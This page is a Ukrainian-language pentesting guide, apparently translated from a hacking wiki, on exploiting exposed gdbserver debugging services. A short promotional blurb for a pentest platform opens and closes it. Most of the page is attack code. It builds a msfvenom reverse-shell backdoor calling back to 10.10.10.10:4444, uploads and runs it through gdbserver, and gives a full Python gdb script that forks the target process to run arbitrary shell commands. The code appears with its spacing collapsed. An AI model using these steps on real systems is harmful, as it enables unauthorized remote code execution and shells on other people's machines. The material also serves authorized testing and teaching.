Миттєво доступна установка для оцінки вразливостей та пентестингу. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
Основна інформація
gdbserver - це інструмент, який дозволяє віддалене налагодження програм. Він працює поряд з програмою, яку потрібно налагоджувати, на тій же системі, відомій як "ціль". Ця установка дозволяє GNU Debugger підключатися з іншої машини, "хоста", де зберігаються вихідний код та бінарна копія налагоджуваної програми. З'єднання між gdbserver та налагоджувачем може бути встановлено через TCP або послідовний порт, що дозволяє створювати універсальні налаштування для налагодження.
Ви можете зробити так, щоб gdbserver слухав на будь-якому порту, і на даний момент nmap не здатний розпізнати сервіс.
Exploitation
Upload and Execute
Ви можете легко створити elf backdoor з msfvenom, завантажити його та виконати:
# Trick shared by @B1n4rySh4d0wmsfvenom-plinux/x64/shell_reverse_tcpLHOST=10.10.10.10LPORT=4444PrependFork=true-felf-obinary.elfchmod+xbinary.elfgdbbinary.elf# Set remote debuger targettargetextended-remote10.10.10.11:1337# Upload elf fileremoteputbinary.elfbinary.elf# Set remote executable filesetremoteexec-file/home/user/binary.elf# Execute reverse shell executablerun# You should get your reverse-shell
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.targetextended-remote192.168.1.4:2345# Load our custom gdb command `rcmd`.source./remote-cmd.py# Change to a trusty binary and run it to load itsetremoteexec-file/bin/bashr# Run until a point where libc has been loaded on the remote process, e.g. start of main().tbmainr# Run the remote command, e.g. `ls`.rcmdls
По-перше, створіть цей скрипт локально:
remote-cmd.py
#!/usr/bin/env python3import gdbimport reimport tracebackimport uuidclassRemoteCmd(gdb.Command):def__init__(self):self.addresses ={}self.tmp_file = f'/tmp/{uuid.uuid4().hex}'gdb.write(f"Using tmp output file: {self.tmp_file}.\n")gdb.execute("set detach-on-fork off")gdb.execute("set follow-fork-mode parent")gdb.execute("set max-value-size unlimited")gdb.execute("set pagination off")gdb.execute("set print elements 0")gdb.execute("set print repeats 0")super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)defpreload(self):for symbol in ["close","execl","fork","free","lseek","malloc","open","read",]:self.load(symbol)defload(self,symbol):if symbol notin self.addresses:address_string = gdb.execute(f"info address {symbol}", to_string=True)match = re.match(f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE)if match andlen(match.groups())>0:self.addresses[symbol]= match.groups()[0]else:raiseRuntimeError(f'Could not retrieve address for symbol "{symbol}".')return self.addresses[symbol]defoutput(self):# From `fcntl-linux.h`O_RDONLY =0gdb.execute(f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})')# From `stdio.h`SEEK_SET =0SEEK_END =2gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')ifint(gdb.convenience_variable("len"))<=0:gdb.write("No output was captured.")returngdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')gdb.execute('printf "%s\\n", (char*) $mem')gdb.execute(f'call (int){self.load("close")}($fd)')gdb.execute(f'call (int){self.load("free")}($mem)')definvoke(self,arg,from_tty):try:self.preload()is_auto_solib_add = gdb.parameter("auto-solib-add")gdb.execute("set auto-solib-add off")parent_inferior = gdb.selected_inferior()gdb.execute(f'set $child_pid = (int){self.load("fork")}()')child_pid = gdb.convenience_variable("child_pid")child_inferior =list(filter(lambdax: x.pid == child_pid, gdb.inferiors()))[0]gdb.execute(f"inferior {child_inferior.num}")try:gdb.execute(f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)')except gdb.error as e:if ("The program being debugged exited while in a function called from GDB"instr(e)):passelse:raise efinally:gdb.execute(f"inferior {parent_inferior.num}")gdb.execute(f"remove-inferiors {child_inferior.num}")self.output()exceptExceptionas e:gdb.write("".join(traceback.TracebackException.from_exception(e).format()))raise efinally:gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')RemoteCmd()
Миттєво доступна налаштування для оцінки вразливостей та пентестингу. Виконуйте повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.